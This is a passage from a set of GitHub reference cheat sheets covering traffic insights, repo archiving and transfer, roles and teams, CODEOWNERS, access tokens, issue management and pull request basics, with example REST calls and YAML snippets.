The **Insights** tab collects graphs about activity: **Pulse** (the last day to month of PRs, issues and commits), **Contributors**, **Traffic** (views, clones, referrers, popular content for the last 14 days), **Commits** and **Code frequency**, plus the **Dependency graph** and **Network**. Traffic data is private to people with push access.

INSIGHT FACTS

- Traffic history only covers **14 days**; save it if you want trends
- Contributors graph counts commits on the default branch
- Org-level insights need Enterprise

WHO CAN DO THIS

- **Role:** Read (Pulse, graphs) · Write (Traffic)
- **Plan:** Free for public; Pro/Team for private
- **Repos:** public and private (plan-dependent)

CHECK A REPO'S HEALTH

1. **Insights → Pulse**: pick a period, scan merged PRs and open issues
2. **Contributors**: who's active, commit trends
3. **Traffic**: views, unique visitors, top referrers
4. **Commits / Code frequency**: steady or stalled?
5. **Dependency graph**: what you depend on (Sheet 73)
6. **Forks**: who copied it and how active they are

AUTOMATE IT

Keep traffic beyond 14 days (REST, run weekly)

```
curl -H "Authorization: Bearer $TOKEN" \
  https://api.github.com/repos/OWNER/REPO/traffic/views >> views.jsonl
```

WHERE TO FIND IT

PATH	SHOWS
`Insights → Pulse`	summary for a period
`Insights → Traffic`	views, clones, referrers
`Insights → Contributors`	commit graph per person
`Insights → Dependency graph`	dependencies, SBOM export
`Insights → Network`	branch/fork graph

READING THE SIGNALS

SIGNAL	SUGGESTS
`Many views, few clones`	README not convincing
`Referrer spike`	link shared somewhere; check it
`One contributor`	bus factor of one
`Issues opened » closed`	maintainers overloaded

TRAFFIC API

ENDPOINT	RETURNS
`/traffic/views`	daily views + uniques
`/traffic/clones`	daily clones + uniques
`/traffic/popular/referrers`	top 10 sites
`/traffic/popular/paths`	top 10 pages

⚠ COMMON MISTAKES

- Judging popularity from stars alone: check traffic and clones
- Waiting a month to look at Traffic: anything older than 14 days is gone
- Reading Contributors as 'who worked hardest': squash merges hide co-authors

✓ TIPS & BEST PRACTICES

- Schedule an Actions workflow to append traffic JSON to a file in the repo
- Use Pulse for a weekly status update to your team
- Add `Co-authored-by:` trailers so pair work shows up

QUICK SUMMARY

- Pulse — recent activity summary
- Traffic — 14 days of views/clones
- Contributors / Commits — activity trends
- Dependency graph / Network — structure

Size Limits, Archive & Transfer

BIG FILES AND REPO LIFECYCLE

GitHub blocks files larger than **100 MB** and warns above 50 MB; store large binaries with **Git LFS** or as release assets instead. When a project ends, **archive** it: the repo becomes read-only but stays visible. You can **rename** a repo (old URLs redirect), **transfer** it to another user or org (issues, stars and redirects come along) or **delete** it.

LIMITS

- Keep repos under about 1 GB; under 5 GB is strongly recommended
- Web uploads are limited to 25 MB per file
- LFS storage and bandwidth count against your plan's quota

WHO CAN DO THIS

- **Role:** Admin (archive, rename, transfer, delete)
- **Plan:** Free
- **Repos:** public and private

ARCHIVE OR TRANSFER A REPO

1. Add a note to the README saying why it's archived and where to go
2. **Settings → Danger Zone → Archive this repository**
3. To move: **Danger Zone → Transfer**, type the new owner
4. Receiving org must allow the transfer; you may need repo creation rights
5. Update remotes: `git remote set-url origin <new-url>` (redirects cover you meanwhile)
6. Unarchive any time from the same menu

WHERE TO FIND IT

PATH	DOES
`Settings → General → Repository name`	rename
`Danger Zone → Archive`	read-only, keeps everything
`Danger Zone → Transfer`	move owner
`Danger Zone → Delete`	gone (restore window ~90 days for some)
`Settings → Billing → LFS`	LFS quota

GIT LFS BASICS

COMMAND	DOES
`git lfs install`	set up hooks once per machine
`git lfs track "*.psd"`	add pattern to .gitattributes
`git add .gitattributes`	commit the tracking rule
`git lfs ls-files`	list LFS-tracked files
`git lfs migrate import`	move existing files to LFS

WHAT MOVES WITH A TRANSFER

ITEM	MOVES?
`Issues, PRs, wiki, stars`	yes
`Web + Git URL redirects`	yes (until name reused)
`Actions secrets`	repo-level yes; org-level no
`Team access`	no; re-grant in new org
`Webhooks / apps`	re-check installations

⚠ COMMON MISTAKES

- Committing a large file, then deleting it: it's still in history and still blocks the push
- Creating a new repo with the old name after a rename: redirects stop working
- Deleting instead of archiving: links, stars and issues are lost

✓ TIPS & BEST PRACTICES

- Use `git filter-repo` to purge big files from history (Git CLI set)
- Put datasets and binaries in release assets or object storage
- Archived repos still show on your profile; unpin them

QUICK SUMMARY

- 100 MB — hard file limit; use LFS
- archive — read-only, keeps everything
- rename / transfer — redirects follow
- delete — last resort

Collaborators & Repo Roles

WHO CAN DO WHAT IN A REPO

Personal repos have one owner plus **collaborators** with write access. Organization repos use five **roles** that build on each other: **Read**, **Triage**, **Write**, **Maintain** and **Admin**. Access can come from org base permissions, a team, or a direct grant; the highest one wins. **Outside collaborators** get repo access without joining the org.

ROLE FACTS

- Triage manages issues/PRs without code write access
- Maintain manages the repo without destructive settings
- Custom repository roles: Enterprise

WHO CAN DO THIS

- **Role:** Admin (repo) · Org owner
- **Plan:** Free (custom roles: Enterprise)
- **Repos:** public and private

GIVE SOMEONE ACCESS

1. **Settings → Collaborators and teams → Add people**
2. Search by username or email; pick a **role**
3. They accept the invite (expires after 7 days)
4. Prefer **Add teams** over individuals in orgs
5. Review access regularly; remove people who left

AUTOMATE IT

Grant a role (REST)

```
curl -X PUT -H "Authorization: Bearer $TOKEN" \
  https://api.github.com/repos/ORG/REPO/collaborators/USER \
  -d '{"permission":"triage"}'
```

WHERE TO FIND IT

PATH	CONTROLS
`Settings → Collaborators and teams`	people, teams, roles
`Org → People → member → Repos`	one person's access
`Org Settings → Repository roles`	custom roles
`Org Settings → Member privileges`	base permission

ROLE LADDER

ROLE	ADDS
`Read`	view, clone, open issues, comment
`Triage`	labels, assign, close issues/PRs
`Write`	push, merge PRs, manage releases
`Maintain`	settings like topics, pages, merge options
`Admin`	everything: security, access, delete

WHERE ACCESS COMES FROM

SOURCE	NOTE
`Org base permission`	applies to every member
`Team grant`	nested teams inherit parent access
`Direct grant`	per person, per repo
`Outside collaborator`	non-member, repo-only

⚠ COMMON MISTAKES

- Giving Admin to get someone unblocked: they can now change protections and delete the repo
- Granting access person by person in an org: offboarding misses repos
- Forgetting outside collaborators when auditing org members

✓ TIPS & BEST PRACTICES

- Triage is perfect for community helpers who label and close issues
- Set org base permission to **Read** or **None**; grant more by team
- Org → People → **Export** gives an access list for audits

QUICK SUMMARY

- Read → Triage → Write → Maintain → Admin
- highest grant wins
- teams beat individual grants
- outside collaborators — repo-only access

Organizations & Teams

ORGANIZATIONS AND TEAMS

An **organization** owns repos for a group, with **owners** (full control), **members** and **billing managers**. **Teams** group members, get access to repos, and can be @mentioned (`@org/team`) to notify everyone or request reviews. Teams can be **nested**: child teams inherit the parent's repo access. The **audit log** records every org-level change.

ORG FACTS

- Keep at least two owners so the org can't be orphaned
- Team visibility: **Visible** (all members) or **Secret**
- Free orgs: unlimited public/private repos; some features need Team

WHO CAN DO THIS

- **Role:** Org owner · team maintainers manage their team
- **Plan:** Free (team sync & audit API: Enterprise)
- **Repos:** public and private

SET UP AN ORG

1. **+ → New organization**, pick the Free plan
2. **People → Invite member**; require 2FA under Authentication security
3. **Teams → New team**, e.g. `backend`, `reviewers`
4. Give teams repo access (team → **Repositories → Add**)
5. **Member privileges**: base permission Read, limit repo creation
6. Use `@org/team` in CODEOWNERS and review requests

AUTOMATE IT

Add a member to a team (REST)

```
curl -X PUT -H "Authorization: Bearer $TOKEN" \
  https://api.github.com/orgs/ORG/teams/backend/memberships/USER \
  -d '{"role":"member"}'
```

WHERE TO FIND IT

PATH	CONTROLS
`Org → People`	members, roles, invitations
`Org → Teams`	teams, nesting, repo access
`Org Settings → Member privileges`	base permission, creation
`Org Settings → Authentication security`	require 2FA
`Org Settings → Audit log`	who changed what

ORG ROLES

ROLE	CAN
`Owner`	everything, incl. billing and deletion
`Member`	per base permission + teams
`Billing manager`	billing only
`Security manager`	security alerts on all repos
`Outside collaborator`	listed repos only

TEAM FEATURES

FEATURE	USE
`@org/team mention`	notify / request review
`Code review assignment`	auto-pick reviewers (Sheet 26)
`Parent team`	children inherit access
`Team discussions`	moved to org Discussions

⚠ COMMON MISTAKES

- One owner only: if they leave, nobody can manage billing or settings
- Base permission **Write**: every member can push to every repo
- Inviting people before requiring 2FA: enforce it first

✓ TIPS & BEST PRACTICES

- Mirror your real structure with nested teams (e.g. `eng` → `eng-frontend`)
- Use a `reviewers` team in CODEOWNERS instead of named people
- Filter the audit log by `action:repo.destroy` to find deletions

QUICK SUMMARY

- org — shared owner for repos
- owners · members · billing managers
- teams — access + mentions + reviews
- audit log — accountability

CODEOWNERS

AUTOMATIC REVIEWERS BY PATH

A **CODEOWNERS** file maps file patterns to the people or teams responsible for them. When a pull request changes matching files, those owners are **automatically requested** for review. With a ruleset's **Require review from Code Owners**, the PR can't merge until an owner approves. GitHub reads the file from the PR's **base branch**.

RULES

- Locations: `.github/`, root, or `docs/` (first found wins)
- **Last matching pattern wins**, not the most specific
- Owners must have Write access to the repo

WHO CAN DO THIS

- **Role:** Write (edit file) · Admin (require owner review)
- **Plan:** Free for public; Team+ to enforce on private
- **Repos:** public and private

A CODEOWNERS FILE

```
# .github/CODEOWNERS
# Default owners for everything
*                       @octo-org/maintainers

# Directory (and everything under it)
/docs/                  @octo-org/docs-team
/src/payments/          @alice @octo-org/payments

# File types anywhere
*.tf                    @octo-org/platform
package*.json           @octo-org/maintainers

# Specific file
/.github/workflows/     @octo-org/platform

# Remove owners for a path (no owner listed)
/src/generated/
```

CODE EXPLAINED

- → `*` first — the fallback for every file
- → `/docs/` — leading `/` anchors to the repo root
- → later lines override earlier ones for matching files
- → pattern with no owner — clears ownership there
- → workflows owned by platform — reviews CI changes

PATTERN SYNTAX

PATTERN	MATCHES
`*.js`	any .js file, any depth
`/build/`	root build folder only
`docs/*`	files directly in any docs/
`**/logs`	logs folder at any depth
`apps/*/README.md`	one level of wildcard

VALID OWNERS

OWNER	EXAMPLE
`User`	`@alice`
`Team (visible, write access)`	`@octo-org/payments`
`Email of a user`	`alice@example.com`
`Not allowed`	`!` negation, `[ ]` ranges, `\#` escapes

⚠ COMMON MISTAKES

- Putting the broad `*` rule at the bottom: it overrides every specific line above
- Listing a team without write access: GitHub shows an error and ignores it
- Editing CODEOWNERS in a PR and expecting it to apply to that PR: base branch version is used

✓ TIPS & BEST PRACTICES

- Open the file on GitHub: syntax errors are highlighted inline
- Own `.github/workflows/` and `CODEOWNERS` itself with a trusted team
- Keep it short; one team per area beats long lists of people

QUICK SUMMARY

- CODEOWNERS — path → reviewers
- last match wins
- owner review rule — enforce approval
- base branch — where the file is read

Tokens, Apps & Third-Party Access

fine-grained PATs · classic PATs · expiration · SAML SSO authorize · OAuth apps vs GitHub Apps · authorized apps review

ACCESS FOR SCRIPTS AND THIRD PARTIES

Tools that act for you need a credential. **Fine-grained personal access tokens** are limited to chosen repos and specific permissions with an expiry; **classic PATs** use broad scopes and should be avoided. **GitHub Apps** act as themselves with fine-grained permissions and short-lived tokens; **OAuth apps** act as you. Orgs can require approval for tokens and apps and enforce **SAML SSO**.

TOKEN FACTS

- Tokens are shown once; store them in a secret manager
- Orgs can block classic PATs or require approval for fine-grained ones
- Leaked tokens on public GitHub are auto-revoked by secret scanning

WHO CAN DO THIS

- **Role:** account owner · org owner (policies)
- **Plan:** Free (SAML SSO: Enterprise)
- **Repos:** account-wide

CREATE A FINE-GRAINED TOKEN

1. **Settings → Developer settings → Personal access tokens → Fine-grained**
2. **Generate new token**; set a short expiration
3. Resource owner: you or an org (may need approval)
4. **Only select repositories**
5. Grant the minimum permissions (e.g. Contents: Read)
6. Store it in your password manager or CI secrets

AUTOMATE IT

Short-lived App token inside Actions

```
- id: app
  uses: actions/create-github-app-token@v2
  with: { app-id: "${{ vars.APP_ID }}", private-key: "${{ secrets.APP_KEY }}" }
- run: gh api repos/OTHER-ORG/REPO --jq .full_name
  env: { GH_TOKEN: "${{ steps.app.outputs.token }}" }
```

WHERE TO FIND IT

PATH	CONTROLS
`Settings → Developer settings`	PATs, your apps
`Settings → Applications`	authorized OAuth / GitHub Apps
`Org Settings → Personal access tokens`	policy, approvals
`Org Settings → Third-party access`	OAuth app policy

PICK A CREDENTIAL

NEED	USE
`Your own scripts`	fine-grained PAT
`Inside Actions, same repo`	GITHUB_TOKEN
`Cross-repo automation`	GitHub App token
`Cloud deploy from Actions`	OIDC (Sheet 63)
`Read-only server checkout`	deploy key

FINE-GRAINED VS CLASSIC

ASPECT	FINE-GRAINED · CLASSIC
`Scope`	selected repos · all your repos
`Permissions`	per area, read/write · broad scopes
`Expiry`	required · optional
`Org approval`	supported · limited

⚠ COMMON MISTAKES

- Classic PAT with `repo` scope and no expiry in CI: one leak exposes every repo you can reach
- Using your personal PAT for org automation: it breaks when you leave
- Ignoring **Authorize SSO** on a token: org repos return 404

✓ TIPS & BEST PRACTICES

- Name tokens after where they're used; you'll know what to rotate
- Review **Settings → Applications** and revoke apps you don't use
- Prefer GitHub Apps for bots: they don't use a seat and tokens expire in an hour

QUICK SUMMARY

- fine-grained PAT — scoped, expiring
- classic PAT — avoid
- GitHub App — bot identity, short tokens
- org policies — approve and restrict

Issue Basics

create issue · title / body · assignees · close as completed / not planned · reopen · reactions · pin · lock · transfer

TRACKING WORK WITH ISSUES

An **issue** tracks a bug, task or idea with a title, a Markdown body, comments and metadata: **assignees**, **labels**, **type**, **milestone**, **projects** and linked PRs. Close issues as **completed**, **not planned** or **duplicate**. Issues can be **pinned** (up to 3), **locked** to stop comments, or **transferred** to another repo with the same owner.

ISSUE FACTS

- Issue and PR numbers share one counter per repo
- Up to 10 assignees per issue
- Anyone with Read can open issues if Issues are enabled

WHO CAN DO THIS

- **Role:** Read (open, comment) · Triage (assign, label, close)
- **Plan:** Free
- **Repos:** public and private

WRITE A USEFUL ISSUE

1. **Issues → New issue** (pick a template if offered)
2. Title: what's wrong, where ("Checkout fails for EUR prices")
3. Body: steps to reproduce, expected vs actual, versions, screenshots
4. Set **type**, **labels**, **assignee**, **milestone**
5. Link the fixing PR with `Fixes #N` (Sheet 22)
6. Close with a reason: **Completed / Not planned / Duplicate**

AUTOMATE IT

Open an issue from a workflow

```yaml
- uses: actions/github-script@v8
  with:
    script: |
      await github.rest.issues.create({ ...context.repo,
        title: "Nightly build failed", labels: ["ci"] });
```

WHERE TO FIND IT

PATH	DOES
`Issues → New issue`	create (templates)
`Issue sidebar`	assignees, labels, type, projects
`Issue ⋯ menu`	pin, lock, transfer, delete
`Close issue ▾`	choose close reason

HANDY ACTIONS

ACTION	HOW
`Reference code`	permalink (y) → renders a snippet
`Quote a reply`	select text → r
`Create from code`	line ⋯ → Reference in new issue
`Convert to discussion`	sidebar (Sheet 36)
`Delete`	Admin only; can't be undone

CLOSE REASONS

REASON	USE FOR
`Completed`	done or fixed
`Not planned`	won't fix, out of scope, stale
`Duplicate`	points to the original issue
`Auto-closed`	PR with `Fixes #N` merged

⚠ COMMON MISTAKES

- Vague titles like "bug": nobody can triage from the list
- Closing without a reason or comment: reporters don't know what happened
- Discussing big design questions in an issue: use Discussions

✓ TIPS & BEST PRACTICES

- Paste a code permalink in an issue to embed the snippet
- Use saved replies for common answers (Settings → Saved replies)
- Assign yourself before starting so work isn't duplicated

QUICK SUMMARY

- issue — tracked unit of work
- assignees · labels · type · milestone
- close reasons — completed / not planned / duplicate
- pin · lock · transfer — housekeeping

Sheet 19

Labels, Milestones & Assignees

default labels · custom labels + colors · milestones + due dates · progress % · assignees (up to 10) · bulk edit

ORGANIZING ISSUES AND PRS

Labels are colored tags shared by issues and PRs (`bug`, `needs-triage`, `area:api`). Every repo starts with a default set, and orgs can set their own defaults. **Milestones** group issues and PRs toward a goal or date and show percent complete. **Assignees** say who owns the work. All three power search filters and project views.

LABEL TIPS

- Use prefixes for families: `area:`, `priority:`, `status:`
- `good first issue` and `help wanted` are surfaced to newcomers
- Milestones are per repo; use Projects for cross-repo plans

WHO CAN DO THIS

- **Role:** Triage (apply) · Write (create labels, milestones)
- **Plan:** Free
- **Repos:** public and private

SET UP A LABEL SCHEME

1. **Issues → Labels → New label**: name, description, color
2. Delete or rename defaults you won't use
3. **Milestones → New milestone**: title, due date, description
4. Bulk-edit: tick issues in the list → **Label / Milestone / Assign**
5. Org defaults: **Org Settings → Repository defaults → Labels**

AUTOMATE IT

Label new issues automatically

```yaml
on: { issues: { types: [opened] } }
# step:
- uses: actions/github-script@v8
  with:
    script: |
      await github.rest.issues.addLabels({ ...context.repo,
        issue_number: context.issue.number, labels: ["needs-triage"] });
```

WHERE TO FIND IT

PATH	CONTROLS
`Issues → Labels`	create, edit, delete
`Issues → Milestones`	create, close, progress
`Issue list checkboxes`	bulk edit
`Org Settings → Repository defaults`	default labels

DEFAULT LABELS

LABEL	USE
`bug / enhancement`	defect / feature request
`documentation / question`	docs / needs an answer
`good first issue / help wanted`	newcomer-friendly / need help
`duplicate / invalid / wontfix`	triage outcomes

A SMALL SCHEME THAT SCALES

LABEL	MEANING
`priority:high`	do next
`area:billing`	part of the product
`status:blocked`	waiting on something
`needs-triage`	nobody has looked yet
`breaking-change`	call out in release notes

⚠ COMMON MISTAKES

- Dozens of overlapping labels: nobody applies them consistently
- Using labels for status *and* project columns: two sources of truth
- Milestones without due dates: the progress bar means nothing

✓ TIPS & BEST PRACTICES

- Add label descriptions; they show on hover and help contributors
- Use labels in `.github/release.yml` to sort release notes (Sheet 10)
- Prefer issue **types** (Sheet 21) over `bug` / `feature` labels in orgs

QUICK SUMMARY

- labels — shared tags for issues + PRs
- milestones — goal or date with progress
- assignees — who owns it
- bulk edit — tick and apply

Issue Templates & Forms

`.github/ISSUE_TEMPLATE/` · Markdown templates · YAML issue forms · input / textarea / dropdown / checkboxes · `config.yml` · contact links

BETTER BUG REPORTS BY DESIGN

Files in `.github/ISSUE_TEMPLATE/` give people a menu of issue types when they click **New issue**. Markdown templates pre-fill the body; **issue forms** (YAML) render real form fields (text inputs, dropdowns, checkboxes) with validation, then post the answers as Markdown. A `config.yml` can turn off blank issues and add **contact links** to docs or Discussions.

FORM FACTS

- Templates must be on the **default branch**
- Forms can preset `labels`, `assignees`, `type` and `projects`
- Org `.github` repo templates apply to repos without their own

WHO CAN DO THIS

- **Role:** Write (add templates)
- **Plan:** Free
- **Repos:** public and private

AN ISSUE FORM

```yaml
# .github/ISSUE_TEMPLATE/bug.yml
name: Bug report
description: Something isn't working
labels: [needs-triage]
type: Bug
body:
  - type: input
    id: version
    attributes: { label: Version, placeholder: "1.4.0" }
    validations: { required: true }
  - type: dropdown
    attributes: { label: OS, options: [macOS, Windows, Linux] }
  - type: textarea
    attributes: { label: Steps to reproduce, render: shell }
  - type: checkboxes
    id: terms
    attributes:
      label: Checks
      options: [{ label: Searched issues, required: true }]
```

CODE EXPLAINED

- → `name` / `description` — shown in the chooser
- → `type: Bug` — sets the issue type (org types)
- → `input` / `textarea` / `dropdown` / `checkboxes` — fields
- → `render: shell` — wrap answer in a code block
- → `validations.required` — can't submit without it

AUTOMATE IT

Prefill via URL

```
…/issues/new?template=bug.yml
  &title=Crash+on+save&labels=bug
```

CONFIG.YML

KEY	EFFECT
`blank_issues_enabled: false`	hide 'blank issue'
`contact_links[].name`	button text
`contact_links[].url`	docs, Discussions, support
`contact_links[].about`	one-line description

FIELD TYPES

TYPE	RENDERS
`input`	single line
`textarea`	multi-line, optional `render`
`dropdown`	options, `multiple: true`
`checkboxes`	list, each can be required

⚠ COMMON MISTAKES

- Adding templates on a feature branch and wondering why they don't appear
- Required fields for everything: people give up and open blank issues
- Duplicate `id` values in one form: the form fails to load

✓ TIPS & BEST PRACTICES

- Add a `markdown` block at the top linking to docs and FAQs
- Route questions to Discussions with a contact link
- Pair a form's `labels` with an auto-triage workflow

QUICK SUMMARY

- `.github/ISSUE_TEMPLATE/` — template menu
- YAML forms — fields + validation
- `config.yml` — blank issues + contact links
- URL params — prefilled issues

Sub-issues, Issue Types & Dependencies

sub-issues · parent issue · progress · issue types (Bug / Feature / Task) · blocked by / blocking · org-level types

STRUCTURE INSIDE ISSUES

Sub-issues break a large issue into child issues, with a progress bar on the parent; children can have their own children. **Issue types** (Bug, Feature, Task, or custom ones) are defined once per organization and set on any issue in its repos. **Dependencies** mark an issue as **blocked by** or **blocking** others, and blocked issues show an icon in lists and projects.

LIMITS

- Up to 100 sub-issues per parent, nested up to 8 levels
- Sub-issues can live in other repos of the same owner
- Issue types are org-level (up to 25)

WHO CAN DO THIS

- **Role:** Triage (set type, add sub-issues) · Org owner (define types)
- **Plan:** Free
- **Repos:** public and private (types need an org)

BREAK DOWN AN EPIC

1. Open the parent issue → **Create sub-issue** (or **Add existing**)
2. Set each child's assignee and type
3. Drag sub-issues to reorder priority
4. Sidebar → **Relationships** → **Mark as blocked by**
5. Org Settings → **Issue types**: add, rename, color
6. Filter lists: `type:Bug`, `has:sub-issues`, `is:blocked`

AUTOMATE IT

Add a sub-issue (REST; uses the child's id, not number)

```
curl -X POST -H "Authorization: Bearer $TOKEN" \
  https://api.github.com/repos/O/R/issues/10/sub_issues \
  -d '{"sub_issue_id": 2271928459}'
```

WHERE TO FIND IT

PATH	CONTROLS
`Issue → Create sub-issue`	children + progress
`Issue sidebar → Type`	issue type
`Issue sidebar → Relationships`	parent, blocked by, blocking
`Org Settings → Planning → Issue types`	define types

SEARCH QUALIFIERS

QUALIFIER	FINDS
`type:Bug`	issues of that type
`parent-issue:o/r#10`	children of #10
`has:sub-issues`	parents
`is:blocked / is:blocking`	dependency state

WHICH TOOL?

NEED	USE
`Break work into pieces`	sub-issues
`Classify work`	issue types
`Order of work`	blocked by / blocking
`Quick checklist`	task list in the body
`Cross-team roadmap`	Projects (Sheet 32)

⚠ COMMON MISTAKES

- Using labels `bug` / `feature` *and* issue types: pick one
- Huge parent issues with 60 children: split into intermediate parents
- Using the issue **number** with the sub-issues API: it needs the numeric **id**

✓ TIPS & BEST PRACTICES

- Show sub-issue progress as a field in Projects tables
- Convert task-list items to sub-issues once they need an owner
- Keep the type list short: Bug, Feature, Task covers most teams

QUICK SUMMARY

- sub-issues — parent/child + progress
- issue types — org-wide classification
- blocked by / blocking — dependencies
- `type:` `is:blocked` — search them

Linking & Closing Issues

CONNECTING ISSUES, PRS AND COMMITS

Writing #42 anywhere links to issue or PR 42 and adds a cross-reference on it. A **closing keyword** in a PR description (or a commit message) such as `Fixes #42` links the issue and **closes it automatically** when the PR merges into the **default branch**. The **Development** sidebar shows and edits these links. **Autolink references** turn external IDs like `JIRA-123` into links.

CLOSING RULES

- Only PRs targeting the **default branch** close issues
- One keyword per issue: `Fixes #1, fixes #2`
- Keywords in PR comments don't close; description or commits do

WHO CAN DO THIS

- **Role:** Write (merge to close) · Admin (autolinks)
- **Plan:** Free (autolinks on private: Pro/Team)
- **Repos:** public and private

LINK AND CLOSE

1. In the PR body: `Fixes #42` (or `Closes owner/repo#42`)
2. Check the **Development** sidebar shows the issue
3. Or link manually: sidebar → **Development** → ⚙
4. Merge to the default branch; the issue closes as completed
5. Set up **Settings** → **Autolink references** for `JIRA-<num>`

WHERE TO FIND IT

PATH	CONTROLS
`PR / issue → Development`	linked PRs, branches
`Issue → Create a branch`	branch linked to the issue
`Settings → Autolink references`	external ID links
`Issue timeline`	every cross-reference

CLOSING KEYWORDS

KEYWORD	FORMS
`close`	close · closes · closed
`fix`	fix · fixes · fixed
`resolve`	resolve · resolves · resolved
`other repo`	`Fixes octo-org/api#12`

REFERENCE FORMS

WRITE	EFFECT
`#42`	link + cross-reference, no close
`Fixes #42`	link + close on merge
`GH-42`	same as #42
`a1b2c3d`	link to commit
`JIRA-123`	external link (with autolink)

DEVELOPMENT SIDEBAR

ACTION	RESULT
`Create a branch`	branch linked to the issue
`Link a pull request`	manual link; closes on merge
`Unlink`	remove a wrong link
`Linked PR merged`	issue closes (default branch only)

KEYWORDS IN COMMITS

CASE	CLOSES?
`Fixes #4 pushed to default branch`	yes
`same commit on a feature branch`	only once merged
`squash PR, keyword in PR body`	yes
`keyword in a PR comment`	no

⚠ COMMON MISTAKES

- Using `Fixes #42` in a PR to `develop`: nothing closes until it reaches the default branch
- Writing `Fixes #1, #2`: only #1 closes; repeat the keyword
- Using "Fixed in #42" in a comment and expecting a close

✓ TIPS & BEST PRACTICES

- Issue → **Create a branch** links branch and issue from the start
- Use `Refs #42` when you want the link without closing
- Autolinks with `<num>` placeholder work in commit messages too

QUICK SUMMARY

- `#42` — link + cross-reference
- `Fixes #42` — close on merge to default
- Development sidebar — see/edit links
- autolinks — external ticket IDs

Issue Search & Triage

`is:open` · `label:` · `assignee:@me` · `no:label` · `type:` · `parent-issue:` · AND / OR / parentheses · saved views · saved replies

FINDING AND TRIAGING ISSUES

The issues list is a search box: `is:issue is:open` is just the default query. Combine qualifiers for state, labels, people, types, dates and relationships, and use AND, OR and parentheses for complex filters. Save frequent queries as **views** or bookmarks, and use **saved replies** to answer common reports quickly.

SEARCH FACTS

- Space between qualifiers means AND
- `-` before a qualifier negates it: `-label:wontfix`
- `@me` works in `author:`, `assignee:`, `mentions:`

WHO CAN DO THIS

- **Role:** Read
- **Plan:** Free
- **Repos:** public and private

TRIAGE QUERIES

```
# Untriaged bugs nobody owns
is:issue is:open type:Bug no:assignee no:label

# My work across an org
org:octo-org is:open assignee:@me sort:updated-desc

# Stale issues
is:issue is:open updated:<2026-04-01 -label:pinned

# Boolean groups
is:issue is:open (label:p0 OR label:p1) -label:blocked

# Children of an epic, still open
parent-issue:octo-org/shop#120 is:open

# PRs waiting on my review
is:pr is:open review-requested:@me draft:false
```

CODE EXPLAINED

- → `no:assignee` / `no:label` — missing metadata
- → `sort:updated-desc` — most recent activity first
- → `updated:<date` — untouched since
- → `( … OR … )` — grouping
- → `review-requested:@me` — your review queue

CORE QUALIFIERS

QUALIFIER	EXAMPLE
`is:`	open · closed · issue · pr · draft
`label:` / `no:`	`label:bug` · `no:milestone`
`author:` / `assignee:`	`author:@me`
`created:` / `closed:`	`created:>2026-09-01`
`reason:`	`reason:"not planned"`

TRIAGE ROUTINE

STEP	QUERY OR ACTION
New this week	`is:open created:>2026-10-19`
Needs owner	`no:assignee`
Waiting on reporter	`label:needs-info` + old `updated:`
Answer fast	saved reply

⚠ COMMON MISTAKES

- Forgetting `is:issue`: PRs show up in the same results
- Typing a bare word like `bug` when you meant `label:bug`: it searches text instead
- Leaving triage to whoever notices: schedule it

✓ TIPS & BEST PRACTICES

- Bookmark query URLs; `?q=` holds the whole search
- Date ranges: `created:2026-09-01..2026-09-30`
- Settings → **Saved replies** for "please add steps to reproduce"

QUICK SUMMARY

- qualifiers — `is:` `label:` `assignee:` `type:`
- `-` / `no:` — negate and find missing
- `AND` / `OR` / `( )` — boolean logic
- saved views + replies — faster triage

Pull Request Basics

compare base ← head · draft PRs · Ready for review · title / description · linked issues · Files changed · Commits tab

PROPOSING CHANGES

A **pull request** asks to merge a **head** branch into a **base** branch. It bundles the diff, a description, discussion, reviews and status checks in one place, and it updates automatically as you push more commits. Open it as a **draft** to share early work without requesting reviews; mark it **Ready for review** when it's done.

PR FACTS

- PRs can come from a branch in the same repo or a fork
- Drafts can't be merged and don't notify code owners
- Changing the base branch re-targets the diff

WHO CAN DO THIS

- **Role:** Read (open from a fork) · Write (branch in repo, merge)
- **Plan:** Free (drafts on private: Pro/Team+)
- **Repos:** public and private

OPEN A GOOD PR

1. Push a branch; click **Compare & pull request** in the banner
2. Check **base ← compare** are right
3. Title says what changes; body says why + how to test
4. Add `Fixes #N`, reviewers, labels, project
5. **Create draft pull request** for early feedback
6. Self-review **Files changed** before marking ready

AUTOMATE IT

Open a PR from a script (REST)

```
curl -X POST -H "Authorization: Bearer $TOKEN" \
  https://api.github.com/repos/O/R/pulls \
  -d '{"title":"Bump deps","head":"deps/bump","base":"main","draft":true}'
```

WHERE TO FIND IT

TAB	SHOWS
`Conversation`	description, comments, checks, merge box
`Commits`	commits in the PR
`Checks`	CI runs and annotations
`Files changed`	diff, review tools

PR STATES

STATE	MEANING
`Draft`	work in progress; can't merge
`Open`	ready for review
`Merged`	changes landed in base
`Closed`	not merged; can reopen

A GOOD DESCRIPTION

SECTION	CONTENTS
`What`	one-line summary
`Why`	problem / issue link
`How to test`	steps or commands
`Screenshots`	before / after for UI
`Risks`	migrations, flags, rollbacks

⚠ COMMON MISTAKES

- Wrong base branch (e.g. a fork's `main` instead of upstream's)
- Giant PRs mixing refactors and features: reviews get skimmed
- Opening a PR with failing tests and asking for review anyway

✓ TIPS & BEST PRACTICES

- Keep PRs under ~400 changed lines when you can
- Use drafts to run CI before you ask anyone to look
- Add `?expand=1` to a compare URL to open the PR form directly

QUICK SUMMARY

- head → base — what merges where
- draft → ready — signal readiness
- tabs — Conversation · Commits · Checks · Files
- description — what, why, how to test

Sheet 25

Reviewing Pull Requests

line / multi-line comments · ```suggestion blocks · batch suggestions · Comment / Approve / Request changes · Viewed checkbox · resolve conversations

GIVING AND HANDLING REVIEWS

Reviews happen on **Files changed**. Comment on a line or a range, propose exact code with a **suggestion** block, and collect comments into one **review** submitted as **Comment**, **Approve** or **Request changes**. Authors can **commit suggestions** directly (one at a time or batched) and **resolve conversations** once addressed.

REVIEW FACTS

- Pending comments stay private until you submit the review
- Tick **Viewed** per file; it resets if the file changes
- Authors can't approve their own PRs

WHO CAN DO THIS

- **Role:** Read (comment) · Write (approval counts toward rules)
- **Plan:** Free
- **Repos:** public and private

REVIEW EFFICIENTLY

1. Open **Files changed**; hide whitespace, pick unified/split
2. Click `+` on a line (drag for a range) → **Start a review**
3. Use **Add a suggestion** to propose replacement code
4. Tick **Viewed** as you finish each file
5. **Review changes** → Comment / Approve / Request changes
6. Author: **Commit suggestion** or **Add to batch**, then resolve

WHERE TO FIND IT

PLACE	DOES
`Files changed → ⚙`	whitespace, split/unified
`Line gutter +`	comment / suggestion
`Review changes`	submit review
`Conversation → Resolve`	close a thread
`Reviewers ↻`	re-request review

REVIEW OUTCOMES

